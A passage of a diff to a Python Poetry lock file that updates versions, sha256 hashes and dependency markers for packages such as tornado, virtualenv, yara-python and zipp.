"sha256:1f776e7d669ebceb01dee46484485f43a4048746235e683bcdffacdf1fb4785a"}, + {file = "tomli-2.4.0.tar.gz", hash = "sha256:aa89c3f6c277dd275d8e243ad24f3b5e701491a860d5121f2cdd399fbb31fc9c"}, ] [[package]] name = "tomlkit" -version = "0.13.2" +version = "0.14.0" description = "Style preserving TOML library" optional = false -python-versions = ">=3.8" +python-versions = ">=3.9" groups = ["dev"] files = [ - {file = "tomlkit-0.13.2-py3-none-any.whl", hash = "sha256:7a974427f6e119197f670fbbbeae7bef749a6c14e793db934baefc1b5f03efde"}, - {file = "tomlkit-0.13.2.tar.gz", hash = "sha256:fff5fe59a87295b278abd31bec92c15d9bc4a06885ab12bcea52c71119392e79"}, + {file = "tomlkit-0.14.0-py3-none-any.whl", hash = "sha256:592064ed85b40fa213469f81ac584f67a4f2992509a7c3ea2d632208623a3680"}, + {file = "tomlkit-0.14.0.tar.gz", hash = "sha256:cf00efca415dbd57575befb1f6634c4f42d2d87dbba376128adb42c121b87064"}, ] [[package]] name = "tornado" -version = "6.5" +version = "6.5.4" description = "Tornado is a Python web framework and asynchronous networking library, originally developed at FriendFeed." optional = false python-versions = ">=3.9" groups = ["docs"] files = [ - {file = "tornado-6.5-cp39-abi3-macosx_10_9_universal2.whl", hash = "sha256:f81067dad2e4443b015368b24e802d0083fecada4f0a4572fdb72fc06e54a9a6"}, - {file = "tornado-6.5-cp39-abi3-macosx_10_9_x86_64.whl", hash = "sha256:9ac1cbe1db860b3cbb251e795c701c41d343f06a96049d6274e7c77559117e41"}, - {file = "tornado-6.5-cp39-abi3-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:7c625b9d03f1fb4d64149c47d0135227f0434ebb803e2008040eb92906b0105a"}, - {file = "tornado-6.5-cp39-abi3-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:9a0d8d2309faf015903080fb5bdd969ecf9aa5ff893290845cf3fd5b2dd101bc"}, - {file = "tornado-6.5-cp39-abi3-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:03576ab51e9b1677e4cdaae620d6700d9823568b7939277e4690fe4085886c55"}, - {file = "tornado-6.5-cp39-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:ab75fe43d0e1b3a5e3ceddb2a611cb40090dd116a84fc216a07a298d9e000471"}, - {file = "tornado-6.5-cp39-abi3-musllinux_1_2_i686.whl", hash = "sha256:119c03f440a832128820e87add8a175d211b7f36e7ee161c631780877c28f4fb"}, - {file = "tornado-6.5-cp39-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:231f2193bb4c28db2bdee9e57bc6ca0cd491f345cd307c57d79613b058e807e0"}, - {file = "tornado-6.5-cp39-abi3-win32.whl", hash = "sha256:fd20c816e31be1bbff1f7681f970bbbd0bb241c364220140228ba24242bcdc59"}, - {file = "tornado-6.5-cp39-abi3-win_amd64.whl", hash = "sha256:007f036f7b661e899bd9ef3fa5f87eb2cb4d1b2e7d67368e778e140a2f101a7a"}, - {file = "tornado-6.5-cp39-abi3-win_arm64.whl", hash = "sha256:542e380658dcec911215c4820654662810c06ad872eefe10def6a5e9b20e9633"}, - {file = "tornado-6.5.tar.gz", hash = "sha256:c70c0a26d5b2d85440e4debd14a8d0b463a0cf35d92d3af05f5f1ffa8675c826"}, + {file = "tornado-6.5.4-cp39-abi3-macosx_10_9_universal2.whl", hash = "sha256:d6241c1a16b1c9e4cc28148b1cda97dd1c6cb4fb7068ac1bedc610768dff0ba9"}, + {file = "tornado-6.5.4-cp39-abi3-macosx_10_9_x86_64.whl", hash = "sha256:2d50f63dda1d2cac3ae1fa23d254e16b5e38153758470e9956cbc3d813d40843"}, + {file = "tornado-6.5.4-cp39-abi3-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:d1cf66105dc6acb5af613c054955b8137e34a03698aa53272dbda4afe252be17"}, + {file = "tornado-6.5.4-cp39-abi3-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:50ff0a58b0dc97939d29da29cd624da010e7f804746621c78d14b80238669335"}, + {file = "tornado-6.5.4-cp39-abi3-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:e5fb5e04efa54cf0baabdd10061eb4148e0be137166146fff835745f59ab9f7f"}, + {file = "tornado-6.5.4-cp39-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:9c86b1643b33a4cd415f8d0fe53045f913bf07b4a3ef646b735a6a86047dda84"}, + {file = "tornado-6.5.4-cp39-abi3-musllinux_1_2_i686.whl", hash = "sha256:6eb82872335a53dd063a4f10917b3efd28270b56a33db69009606a0312660a6f"}, + {file = "tornado-6.5.4-cp39-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:6076d5dda368c9328ff41ab5d9dd3608e695e8225d1cd0fd1e006f05da3635a8"}, + {file = "tornado-6.5.4-cp39-abi3-win32.whl", hash = "sha256:1768110f2411d5cd281bac0a090f707223ce77fd110424361092859e089b38d1"}, + {file = "tornado-6.5.4-cp39-abi3-win_amd64.whl", hash = "sha256:fa07d31e0cd85c60713f2b995da613588aa03e1303d75705dca6af8babc18ddc"}, + {file = "tornado-6.5.4-cp39-abi3-win_arm64.whl", hash = "sha256:053e6e16701eb6cbe641f308f4c1a9541f91b6261991160391bfc342e8a551a1"}, + {file = "tornado-6.5.4.tar.gz", hash = "sha256:a22fa9047405d03260b483980635f0b041989d8bcc9a313f8fe18b411d84b1d7"}, ] [[package]] @@ -3259,20 +3371,21 @@ test = ["coverage", "flake8 (>=3.7)", "mypy", "pretend", "pytest"] [[package]] name = "virtualenv" -version = "20.30.0" +version = "20.36.1" description = "Virtual Python Environment builder" optional = false python-versions = ">=3.8" groups = ["dev"] files = [ - {file = "virtualenv-20.30.0-py3-none-any.whl", hash = "sha256:e34302959180fca3af42d1800df014b35019490b119eba981af27f2fa486e5d6"}, - {file = "virtualenv-20.30.0.tar.gz", hash = "sha256:800863162bcaa5450a6e4d721049730e7f2dae07720e0902b0e4040bd6f9ada8"}, + {file = "virtualenv-20.36.1-py3-none-any.whl", hash = "sha256:575a8d6b124ef88f6f51d56d656132389f961062a9177016a50e4f507bbcc19f"}, + {file = "virtualenv-20.36.1.tar.gz", hash = "sha256:8befb5c81842c641f8ee658481e42641c68b5eab3521d8e092d18320902466ba"}, ] [package.dependencies] distlib = ">=0.3.7,<1" -filelock = ">=3.12.2,<4" +filelock = {version = ">=3.20.1,<4", markers = "python_version >= \"3.10\""} platformdirs = ">=3.9.1,<5" +typing-extensions = {version = ">=4.13.2", markers = "python_version < \"3.11\""} [package.extras] docs = ["furo (>=2023.7.26)", "proselint (>=0.13)", "sphinx (>=7.1.2,!=7.3)", "sphinx-argparse (>=0.4)", "sphinxcontrib-towncrier (>=0.2.1a0)", "towncrier (>=23.6)"] @@ -3608,91 +3721,96 @@ files = [ [[package]] name = "yara-python" -version = "4.5.2" +version = "4.5.4" description = "Python interface for YARA" optional = false python-versions = "*" groups = ["main"] files = [ - {file = "yara_python-4.5.2-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:20aee068c8f14e8ebb40ebf03e7e2c14031736fbf6f32fca58ad89d211e4aaa0"}, - {file = "yara_python-4.5.2-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:9899c3a80e6c543585daf49c5b06ba5987e2f387994a5455d841262ea6e8577c"}, - {file = "yara_python-4.5.2-cp310-cp310-macosx_14_0_arm64.whl", hash = "sha256:399bb09f81d38876a06e269f68bbe810349aa0bb47fe79866ea3fc58ce38d30f"}, - {file = "yara_python-4.5.2-cp310-cp310-macosx_14_0_x86_64.whl", hash = "sha256:c78608c6bf3d2c379514b1c118a104874df1844bf818087e1bf6bfec0edfd1aa"}, - {file = "yara_python-4.5.2-cp310-cp310-macosx_15_0_arm64.whl", hash = "sha256:f25db30f8ae88a4355e5090a5d6191ee6f2abfdd529b3babc68a1faeba7c2ac8"}, - {file = "yara_python-4.5.2-cp310-cp310-macosx_15_0_x86_64.whl", hash = "sha256:f2866c0b8404086c5acb68cab20854d439009a1b02077aca22913b96138d2f6a"}, - {file = "yara_python-4.5.2-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:9fc5abddf8767ca923a5a88b38b8057d4fab039323d5c6b2b5be6cba5e6e7350"}, - {file = "yara_python-4.5.2-cp310-cp310-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:bc2216bc73d4918012a4b270a93f9042445c7246b4a668a1bea220fbf64c7990"}, - {file = "yara_python-4.5.2-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:b5558325eb7366f610a06e8c7c4845062d6880ee88f1fbc35e92fae333c3333c"}, - {file = "yara_python-4.5.2-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:f2a293e30484abb6c137d9603fe899dfe112c327bf7a75e46f24737dd43a5e44"}, - {file = "yara_python-4.5.2-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:2ff1e140529e7ade375b3c4c2623d155c93438bd56c8e9bebce30b1d0831350d"}, - {file = "yara_python-4.5.2-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:399f484847d5cb978f3dd522d3c0f20cbf36fe760d90be7aaeb5cf0e82947742"}, - {file = "yara_python-4.5.2-cp310-cp310-win32.whl", hash = "sha256:ef499e273d12b0119fc59b396a85f00d402b103c95b5a4075273cff99f4692df"}, - {file = "yara_python-4.5.2-cp310-cp310-win_amd64.whl", hash = "sha256:dd54d92c8fe33cc7cd7b8b29ac8ac5fdb6ca498c5a697af479ff31a58258f023"}, - {file = "yara_python-4.5.2-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:727d3e590f41a89bbc6c1341840a398dee57bc816b9a17f69aed717f79abd5af"}, - {file = "yara_python-4.5.2-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:b5657c268275a025b7b2f2f57ea2be0b7972a104cce901c0ac3713787eea886e"}, - {file = "yara_python-4.5.2-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:d4bcfa3d4bda3c0822871a35dd95acf6a0fe1ab2d7869b5ae25b0a722688053a"}, - {file = "yara_python-4.5.2-cp311-cp311-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:0d6d7e04d1f5f64ccc7d60ff76ffa5a24d929aa32809f20c2164799b63f46822"}, - {file = "yara_python-4.5.2-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:d487dcce1e9cf331a707e16a12c841f99071dcd3e17646fff07d8b3da6d9a05c"}, - {file = "yara_python-4.5.2-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:f8ca11d6877d453f69987b18963398744695841b4e2e56c2f1763002d5d22dbd"}, - {file = "yara_python-4.5.2-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:f1f009d99e05f5be7c3d4e349c949226bfe32e0a9c3c75ff5476e94385824c26"}, - {file = "yara_python-4.5.2-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:96ead034a1aef94671ea92a82f1c2db6defa224cf21eb5139cff7e7345e55153"}, - {file = "yara_python-4.5.2-cp311-cp311-win32.whl", hash = "sha256:7b19ac28b3b55134ea12f1ee8500d7f695e735e9bead46b822abec96f9587f06"}, - {file = "yara_python-4.5.2-cp311-cp311-win_amd64.whl", hash = "sha256:a699917ea1f3f47aecacd8a10b8ee82137205b69f9f29822f839a0ffda2c41a1"}, - {file = "yara_python-4.5.2-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:037be5f9d5dd9f067bbbeeac5d311815611ba8298272a14b03d7ad0f42b36f5a"}, - {file = "yara_python-4.5.2-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:77c8192f56e2bbf42b0c16cd1c368ba7083047e5b11467c8b3d6330d268e1f86"}, - {file = "yara_python-4.5.2-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:0e892b2111122552f0645bc1a55f2525117470eea3b791d452de12ae0c1ec37b"}, - {file = "yara_python-4.5.2-cp312-cp312-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:f16d9b23f107fd0569c676ec9340b24dd5a2a2a239a163dcdeaed6032933fb94"}, - {file = "yara_python-4.5.2-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:8b98e0a77dc0f90bc53cf77cca1dc1a4e6836c7c5a283198c84d5dbb0701e722"}, - {file = "yara_python-4.5.2-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:d6366d197079848d4c2534f07bc47f8a3c53d42855e6a492ed2191775e8cd294"}, - {file = "yara_python-4.5.2-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:a2ba9fddafe573614fc8e77973f07e74a359bd1f3a6152f93b814a6f8cfc0004"}, - {file = "yara_python-4.5.2-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:3338f492e9bb655381dbf7e526201c1331d8c1e3760f1b06f382d901cc10cdf0"}, - {file = "yara_python-4.5.2-cp312-cp312-win32.whl", hash = "sha256:9d066da7f963f4a68a2681cbe1d7c41cb1ef2c5668de3a756731b1a7669a3120"}, - {file = "yara_python-4.5.2-cp312-cp312-win_amd64.whl", hash = "sha256:fe5b4c9c5cb48526e8f9c67fc1fdafb9dbd9078a27d89af30de06424c8c67588"}, - {file = "yara_python-4.5.2-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:ffc3101354188d23d00b831b0d070e2d1482a60d4e9964452004276f7c1edee8"}, - {file = "yara_python-4.5.2-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:0c7021e6c4e34b2b11ad82de330728134831654ca1f5c24dcf093fedc0db07ae"}, - {file = "yara_python-4.5.2-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:c73009bd6e73b04ffcbc8d47dddd4df87623207cb772492c516e16605ced5dd6"}, - {file = "yara_python-4.5.2-cp313-cp313-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:ef7f592db5e2330efd01b40760c3e2be5de497ff22bd6d12e63e9cf6f37b4213"}, - {file = "yara_python-4.5.2-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:e5980d96ac2742e997e55ba20d2746d3a42298bbb5e7d327562a01bac70c9268"}, - {file = "yara_python-4.5.2-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:e857bc94ef54d5db89e0a58652df609753d5b95f837dde101e1058dd755896b5"}, - {file = "yara_python-4.5.2-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:98b4732a9f5b184ade78b4675501fbdc4975302dc78aa3e917c60ca4553980d5"}, - {file = "yara_python-4.5.2-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:57928557c85af27d27cca21de66d2070bf1860de365fb18fc591ddfb1778b959"}, - {file = "yara_python-4.5.2-cp313-cp313-win32.whl", hash = "sha256:d7b58296ed2d262468d58f213b19df3738e48d46b8577485aecca0edf703169f"}, - {file = "yara_python-4.5.2-cp313-cp313-win_amd64.whl", hash = "sha256:2f6ccde3f30d0c3cda9a86e91f2a74073c9aeb127856d9a62ed5c4bb22ccd75f"}, - {file = "yara_python-4.5.2-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:ba81f3bfba7cd7aa7bf97840eba7e2bb3d9f643090e47cbc03b2070e4f44568f"}, - {file = "yara_python-4.5.2-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:6cbb9ded3d6dd981cb1f1a7e01b12efd260548bc2f27bf29e9dbeca1ab241363"}, - {file = "yara_python-4.5.2-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:1cb760bb5aaa9c37e0e43b64cccfb7ff1a5ae584392661ebd82a50b758ea2d86"}, - {file = "yara_python-4.5.2-cp39-cp39-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:96b22ae1651f8fd2eb61d0d140daa71dce4346137124abead0bb15c47b1259ec"}, - {file = "yara_python-4.5.2-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:7e96c6cdf2284077ae039832481046806cd2b0c42c45d160da567dd0cc5673f3"}, - {file = "yara_python-4.5.2-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:475fb16f33767c8c048cf009cdf307688b4ed961cf29fc28b2a020c3469e4cba"}, - {file = "yara_python-4.5.2-cp39-cp39-musllinux_1_2_i686.whl", hash = "sha256:c195d69253681751d75c6f79c88f57ebf5cc547821bdcba89fa29466356f241b"}, - {file = "yara_python-4.5.2-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:8cc49f5543398b48e6bcf20c6a93a34ebe6732b8ff1e55918c8908a4a6cfeaf8"}, - {file = "yara_python-4.5.2-cp39-cp39-win32.whl", hash = "sha256:2ccd788c8103f43c58d4072f696ee7b7e5be6c19bbce32f9f8e5d7b7def3ecd4"}, - {file = "yara_python-4.5.2-cp39-cp39-win_amd64.whl", hash = "sha256:ab8d75dc181b915ca7eb8eb1c3f66597286436820122f84ae9f07a7b98f256fc"}, - {file = "yara_python-4.5.2.tar.gz", hash = "sha256:9086a53c810c58740a5129f14d126b39b7ef61af00d91580c2efb654e2f742ce"}, + {file = "yara_python-4.5.4-cp310-cp310-macosx_14_0_arm64.whl", hash = "sha256:721d341bd2013fbada4df5aba0eb79a9e4e21c4b86441f7f111ab8c31671f125"}, + {file = "yara_python-4.5.4-cp310-cp310-macosx_14_0_x86_64.whl", hash = "sha256:c785fd16475f2a3191cd4fae0cd608b1ba6271f495ec86fa26a3c5ac53f5f2e1"}, + {file = "yara_python-4.5.4-cp310-cp310-macosx_15_0_arm64.whl", hash = "sha256:5eefa3b157cd5f4454a317907bab334036f61385324b70cb61dbc656c44168d5"}, + {file = "yara_python-4.5.4-cp310-cp310-macosx_15_0_x86_64.whl", hash = "sha256:bbc0c5a2ee67e6043e4c2622093ebfc7d2c173dc643dd089742aedbdea48d6a4"}, + {file = "yara_python-4.5.4-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:1b091f1bd6c5d2a9b5c0c682ba67ba31b87bb71b27876430775998b71c8e3f97"}, + {file = "yara_python-4.5.4-cp310-cp310-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:91276c90bb5e148e10050015fec8a1d4009a95eee9eb832d154f80355d0b4080"}, + {file = "yara_python-4.5.4-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:7e20e1f69b6239fe4f4da97e9ff361d9be25d6f1d747589ea44b8a9ec412a12d"}, + {file = "yara_python-4.5.4-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:a83773b561727fc360f7a6874f7fac1409bc9c391134dc3e070f1c2515c0db98"}, + {file = "yara_python-4.5.4-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:14f203bd9fb33ad591e046429560133127fa4a6201dac28c525fa7c6c7ca36a7"}, + {file = "yara_python-4.5.4-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:e632daf9f38f8d4b433f08f798b07a45756e6c396e9e0ec54aac10045f6d241d"}, + {file = "yara_python-4.5.4-cp310-cp310-win32.whl", hash = "sha256:a3866830f7f2d071f94cbce7c41d91444ac29e2cbbe279914abf518d57a2d41f"}, + {file = "yara_python-4.5.4-cp310-cp310-win_amd64.whl", hash = "sha256:135c1097ea0445a323038acd509162675ce6d5e21f848aa856779632d48dec42"}, + {file = "yara_python-4.5.4-cp311-cp311-macosx_14_0_arm64.whl", hash = "sha256:e3e2a5575d61adc2b4ff2007737590783a43d16386b061ac12e6e70a82e5d1de"}, + {file = "yara_python-4.5.4-cp311-cp311-macosx_14_0_x86_64.whl", hash = "sha256:f79a27dbdafb79fc2dc03c7c3ba66751551e3e0b350ab69cc499870b78a6cb95"}, + {file = "yara_python-4.5.4-cp311-cp311-macosx_15_0_arm64.whl", hash = "sha256:9d9acf6f8135bcee03f47b1096ad69f4a2788abe37dd070aab6e9dd816742ecc"}, + {file = "yara_python-4.5.4-cp311-cp311-macosx_15_0_x86_64.whl", hash = "sha256:0e762e6c5b47ddf30b0128ba723da46fcc2aa7959a252748497492cb452d1c84"}, + {file = "yara_python-4.5.4-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:adcfac4b225e76ab6dcbeaf10101f0de2731fdbee51610dbc77b96e667e85a3a"}, + {file = "yara_python-4.5.4-cp311-cp311-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:a82c87038f0da2d90051bfd6449cf9a4b977a15ee8372f3512ce0a413ef822fd"}, + {file = "yara_python-4.5.4-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:1a1721b61ee4e625a143e8e5bf32fa6774797c06724c45067f3e8919a8e5f8f3"}, + {file = "yara_python-4.5.4-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:57d80c7591bbc6d9e73934e0fa4cbbb35e3e733b2706c5fd6756edf495f42678"}, + {file = "yara_python-4.5.4-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:3872b5f5575d6f5077f86e2b8bcdfe8688f859a50854334a4085399331167abc"}, + {file = "yara_python-4.5.4-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:fd84af5b6da3429236b61f3ad8760fdc739d0e1d6a08b8f3d90cd375e71594df"}, + {file = "yara_python-4.5.4-cp311-cp311-win32.whl", hash = "sha256:491c9de854e4a47dfbef7b3a38686c574459779915be19dcf4421b65847a57ce"}, + {file = "yara_python-4.5.4-cp311-cp311-win_amd64.whl", hash = "sha256:2a1bf52cb7b9178cc1ee2acd1697a0c8468af0c76aa1beffe22534bd4f62698b"}, + {file = "yara_python-4.5.4-cp312-cp312-macosx_14_0_arm64.whl", hash = "sha256:ade234700c492bce0efda96c1cdcd763425016e40df4a8d30c4c4e6897be5ace"}, + {file = "yara_python-4.5.4-cp312-cp312-macosx_14_0_x86_64.whl", hash = "sha256:e1dedd149be61992781f085b592d169d1d813f9b5ffc7c8c2b74e429b443414c"}, + {file = "yara_python-4.5.4-cp312-cp312-macosx_15_0_arm64.whl", hash = "sha256:92b233aae320ee9e59728ee23f9faf4a423ae407d4768b47c8f0e472a34dbae2"}, + {file = "yara_python-4.5.4-cp312-cp312-macosx_15_0_x86_64.whl", hash = "sha256:1f238f10d26e4701559f73a69b22e1e192a6fa20abdd76f57a7054566780aa89"}, + {file = "yara_python-4.5.4-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:d29d0e137e0d77dd110186369276e88381f784bdc45b5932a2fb3463e2a1b1c7"}, + {file = "yara_python-4.5.4-cp312-cp312-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:e7d0039d734705b123494acad7a00b67df171dd5b1c16ff7b18ff07578efd4cd"}, + {file = "yara_python-4.5.4-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:e5eae935b05a9f8dc71df55a79c38f52abd93f8840310fe4e0d75fbd78284f24"}, + {file = "yara_python-4.5.4-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:30fc7959394532c6e3f48faf59337f5da124f1630668258276b6cfa54e555a6e"}, + {file = "yara_python-4.5.4-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:e6d8c2acaf33931338fdb78aba8a68462b0151d833b2eeda712db87713ac2abf"}, + {file = "yara_python-4.5.4-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:a3c7bc8cd0db5fb87ab579c755de83723030522f3c0cd5b3374044055a8ce6c6"}, + {file = "yara_python-4.5.4-cp312-cp312-win32.whl", hash = "sha256:d12e57101683e9270738a1bccf676747f93e86b5bc529e7a7fb7adf94f20bd77"}, + {file = "yara_python-4.5.4-cp312-cp312-win_amd64.whl", hash = "sha256:bf14a8af06b2b980a889bdc3f9e8ccd6e703d2b3fa1c98da5fd3a1c3b551eb47"}, + {file = "yara_python-4.5.4-cp313-cp313-macosx_14_0_arm64.whl", hash = "sha256:fe8ad189843c729eae74be3b8447a4753fac2cebe705e5e2a7280badfcc7e3b4"}, + {file = "yara_python-4.5.4-cp313-cp313-macosx_14_0_x86_64.whl", hash = "sha256:94e290d5035be23059d0475bff3eac8228acd51145bf0cabe355b1ddabab742b"}, + {file = "yara_python-4.5.4-cp313-cp313-macosx_15_0_arm64.whl", hash = "sha256:4537f8499d166d22a54739f440fb306f65b0438be2c6c4ecb2352ecb5adb5f1c"}, + {file = "yara_python-4.5.4-cp313-cp313-macosx_15_0_x86_64.whl", hash = "sha256:ab5133a16e466db6fe9c1a08d1b171013507896175010fb85fc1b92da32e558c"}, + {file = "yara_python-4.5.4-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:93f5f5aba88e2ed2aaebfbb697433a0c8020c6a6c6a711e900a29e9b512d5c3a"}, + {file = "yara_python-4.5.4-cp313-cp313-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:473c52b53c39d5daedc1912bd8a82a1c88702a3e393688879d77f9ff5f396543"}, + {file = "yara_python-4.5.4-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:9d9a58b7dc87411a2443d2e0382a111bd892aef9f6db2a1ebb4a9215eef0db71"}, + {file = "yara_python-4.5.4-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:0b9de86fbe8a646c0644df9e1396d6941dc6ed0f89be2807e6c52ab39161fd9f"}, + {file = "yara_python-4.5.4-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:973f0bc24470ac86b6009baf2800ad3eadfa4ab653b6546ba5c65e9239850f47"}, + {file = "yara_python-4.5.4-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:cb0f0e7183165426b09e2b1235e70909e540ac18e2c6be96070dfe17d7db4d78"}, + {file = "yara_python-4.5.4-cp313-cp313-win32.whl", hash = "sha256:7707b144c8fcdb30c069ea57b94799cd7601f694ba01b696bbd1832721f37fd0"}, + {file = "yara_python-4.5.4-cp313-cp313-win_amd64.whl", hash = "sha256:5f1288448991d63c1f6351c9f6d112916b0177ceefaa27d1419427a6ff09f829"}, + {file = "yara_python-4.5.4-cp39-cp39-macosx_14_0_arm64.whl", hash = "sha256:7205c36a6798251925e4c1763eba0737fec7a95360df8aaa4e74e2f2f6b5cdcf"}, + {file = "yara_python-4.5.4-cp39-cp39-macosx_14_0_x86_64.whl", hash = "sha256:9c77711a4e469ea97bdd16e85b5ab0720d6a481862a540ea7216897a10e93d19"}, + {file = "yara_python-4.5.4-cp39-cp39-macosx_15_0_arm64.whl", hash = "sha256:9e6f0ca64cf9b0125be8fe8b821ba7e0f80427bcee136f83914dff0d81b4f27a"}, + {file = "yara_python-4.5.4-cp39-cp39-macosx_15_0_x86_64.whl", hash = "sha256:8caad9de64dc4fc9614f331a04ea220d57aea3fbf997f3e23a298ee67cf4a69c"}, + {file = "yara_python-4.5.4-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:9d5fcf99187cb6ec0a27c755aec22774a1ea578fdc2a5734f484c601de4ad6c0"}, + {file = "yara_python-4.5.4-cp39-cp39-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:bdbb62003cced7739d5c98c5af7a08c819baedf12e09276b2bbf0f3cb47828af"}, + {file = "yara_python-4.5.4-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:5f901ec61db76a326f77882c8000139b29f218a7c6b8dd997195bab265602345"}, + {file = "yara_python-4.5.4-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:99f8d1145c11f61340fcd19fd6f3f3ef6306910829f4218daece45e831ceb54e"}, + {file = "yara_python-4.5.4-cp39-cp39-musllinux_1_2_i686.whl", hash = "sha256:da826f12c6fa459c6b2f9e7dff3a57416ac3a6536264f7a10d1ff839d4bc943f"}, + {file = "yara_python-4.5.4-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:ebacf0b3325b3fb6f15bc3526f39f39c3576bafa4857493cc90afd2651ec8d36"}, + {file = "yara_python-4.5.4-cp39-cp39-win32.whl", hash = "sha256:e6eba7d4387f8123dd69852ba6776799150c4019fcb3e1212a3b053d42e151ab"}, + {file = "yara_python-4.5.4-cp39-cp39-win_amd64.whl", hash = "sha256:9addd1d6fe9d3b1efe40c7a37fa5d88fe6cd7e22c7e454617beb382c9c74b11b"}, + {file = "yara_python-4.5.4.tar.gz", hash = "sha256:4c682170f3d5cb3a73aa1bd0dc9ab1c0957437b937b7a83ff6d7ffd366415b9c"}, ] [[package]] name = "zipp" -version = "3.21.0" +version = "3.23.0" description = "Backport of pathlib-compatible object wrapper for zip files" optional = false python-versions = ">=3.9" -groups = ["main", "docs"] +groups = ["docs"] files = [ - {file = "zipp-3.21.0-py3-none-any.whl", hash = "sha256:ac1bbe05fd2991f160ebce24ffbac5f6d11d83dc90891255885223d42b3cd931"}, - {file = "zipp-3.21.0.tar.gz", hash = "sha256:2c9958f6430a2040341a52eb608ed6dd93ef4392e02ffe219417c1b28b5dd1f4"}, + {file = "zipp-3.23.0-py3-none-any.whl", hash = "sha256:071652d6115ed432f5ce1d34c336c0adfd6a884660d1e9712a256d3d3bd4b14e"}, + {file = "zipp-3.23.0.tar.gz", hash = "sha256:a07157588a12518c9d4034df3fbbee09c814741a33ff63c05fa29d26a2404166"}, 